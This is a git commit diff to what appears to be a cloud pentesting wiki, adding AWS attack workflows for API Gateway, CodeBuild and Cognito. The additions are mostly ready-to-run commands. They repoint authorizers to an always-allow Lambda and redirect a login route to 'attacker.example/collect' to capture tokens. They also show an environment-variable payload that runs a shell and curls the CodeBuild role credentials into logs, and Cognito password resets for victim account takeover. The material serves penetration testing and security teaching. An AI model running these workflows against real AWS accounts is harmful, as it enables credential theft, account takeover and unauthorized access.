This commit is contained in:
Carlos Polop
2026-02-15 22:17:38 +01:00
parent 3724e2729a
commit 0c445121d5
6 changed files with 194 additions and 12 deletions

View File

@@ -19,6 +19,33 @@ Modify the resource policy of the API gateway(s) to grant yourself access to the
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
Or just remove the use of the authorizer. Or just remove the use of the authorizer.
If you have control-plane permissions to **create/update an authorizer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) you can also **repoint the authorizer to a Lambda that always allows**.
REST APIs (changes typically require a deployment):
```bash
REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
```
HTTP APIs / `apigatewayv2` (often takes effect immediately):
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### IAM Permissions ### IAM Permissions
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
@@ -33,4 +60,3 @@ Or just remove the use of API keys.

View File

@@ -42,6 +42,31 @@ In the **Enumeration** section you can see how to **obtain the usage plan** of t
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
If you can update an **HTTP API integration**, you can **repoint** a sensitive route (e.g. `/login`, `/token`, `/submit`) to an attacker-controlled HTTP endpoint and silently **collect headers and bodies** (cookies, `Authorization` bearer tokens, session ids, API keys, secrets sent by internal jobs, etc.).
Example workflow:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
```
Notes:
- For **HTTP APIs**, changes usually take effect immediately (unlike REST APIs where you typically need to create a deployment).
- Whether you can point to an arbitrary URL depends on the integration type/config; in some cases you may also be able to change the integration type when patching it.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
@@ -147,4 +172,3 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K

View File

@@ -71,7 +71,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
> [!NOTE] > [!NOTE]
> Need testing > Need testing
An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks (e.g. repoint it to a Lambda that always returns "allow") or to execute arbitrary code when API requests are made.
```bash ```bash
API_ID="your-api-id" API_ID="your-api-id"
@@ -87,6 +87,20 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
**Potential Impact**: Bypassing security checks, unauthorized access to API resources. **Potential Impact**: Bypassing security checks, unauthorized access to API resources.
#### HTTP APIs / `apigatewayv2` variant
For HTTP APIs (API Gateway v2), the equivalent operation is updating the authorizer via `apigatewayv2`:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### `apigateway:UpdateVpcLink` ### `apigateway:UpdateVpcLink`
> [!NOTE] > [!NOTE]
@@ -108,4 +122,3 @@ aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=

View File

@@ -69,6 +69,73 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
**Potential Impact:** Direct privesc to attached AWS Codebuild roles. **Potential Impact:** Direct privesc to attached AWS Codebuild roles.
#### StartBuild Env Var Override
Even if you **can't modify the project** (`UpdateProject`) and you **can't override the buildspec**, `codebuild:StartBuild` still allows overriding env vars at build time via:
- CLI: `--environment-variables-override`
- API: `environmentVariablesOverride`
If the build uses environment variables to control behavior (destination buckets, feature flags, proxy settings, logging, etc.), this can be enough to **exfiltrate secrets** the build role can access or to get **code execution** inside the build.
##### Example 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets
If the build publishes an artifact to a bucket/path controlled by an env var (for example `UPLOAD_BUCKET`), override it to an attacker-controlled bucket:
```bash
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
```
##### Example 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
If the build runs `python3` (common in buildspecs), you can sometimes get code execution without touching the buildspec by abusing:
- `PYTHONWARNINGS`: Python resolves the *category* field and will import dotted paths. Setting it to `...:antigravity.x:...` forces importing the stdlib module `antigravity`.
- `antigravity`: calls `webbrowser.open(...)`.
- `BROWSER`: controls what `webbrowser` executes. On Linux it is `:`-separated. Using `#%s` makes the URL argument a shell comment.
This can be used to print the CodeBuild role credentials (from `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) into CloudWatch logs, then recover them if you have log read permissions.
<details>
<summary>Expandable: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
</details>
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.
@@ -385,4 +452,3 @@ More details could be found [here](https://www.shielder.com/blog/2023/07/aws-cod
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -145,7 +145,7 @@ This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](.
### `cognito-idp:AdminSetUserPassword` ### `cognito-idp:AdminSetUserPassword`
This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). This permission would allow an attacker to **set a known password for any user**, usually resulting in a **direct account takeover** (especially if the victim doesn't have MFA enabled, or MFA is not enforced for the relevant auth flow/client).
```bash ```bash
aws cognito-idp admin-set-user-password \ aws cognito-idp admin-set-user-password \
@@ -155,7 +155,34 @@ aws cognito-idp admin-set-user-password \
--permanent --permanent
``` ```
**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. Common workflow:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```
Related permission: `cognito-idp:AdminResetUserPassword` can be used to force a reset flow for a victim (impact depends on how password recovery is implemented and what the attacker can intercept or control).
**Potential Impact:** Account takeover of arbitrary users; access to app-layer privileges (groups/roles/claims) and anything downstream trusting Cognito tokens; potential access to Identity Pool authenticated IAM roles.
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
@@ -194,8 +221,9 @@ aws cognito-idp set-user-pool-mfa-config \
### `cognito-idp:AdminUpdateUserAttributes` ### `cognito-idp:AdminUpdateUserAttributes`
An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ An attacker with this permission can change **any mutable attribute** of a User Pool user (including `custom:*` attributes) to try to gain privileges in an underlying application.
This allows to change an email or phone number and set it as verified.
A common high-impact pattern is **claim-based RBAC** implemented using **custom attributes** (for example `custom:role=admin`). If the application trusts that claim, updating it and then re-authenticating can bypass authorization without touching the app.
```bash ```bash
aws cognito-idp admin-update-user-attributes \ aws cognito-idp admin-update-user-attributes \
@@ -204,7 +232,31 @@ aws cognito-idp admin-update-user-attributes \
--user-attributes <value> --user-attributes <value>
``` ```
**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. Example: upgrade your own role and refresh tokens:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```
**Potential Impact:** Indirect privesc in applications trusting Cognito attributes/claims for authorization; ability to modify other security-relevant attributes (for example setting `email_verified` or `phone_number_verified` to `true` can matter in some apps).
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
@@ -314,4 +366,3 @@ For more information check [https://github.com/padok-team/cognito-scanner](https
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -49,6 +49,9 @@ aws codebuild list-reports
aws codebuild describe-test-cases --report-arn <ARN> aws codebuild describe-test-cases --report-arn <ARN>
``` ```
> [!TIP]
> If you have `codebuild:StartBuild`, remember you can often override env vars at build time (`--environment-variables-override`). This is enough for some attacks even without `UpdateProject` or `buildspec` overrides (for example: redirecting artifact/upload buckets to exfiltrate secrets, or abusing language/runtime env vars to execute commands).
### Privesc ### Privesc
In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
@@ -77,4 +80,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc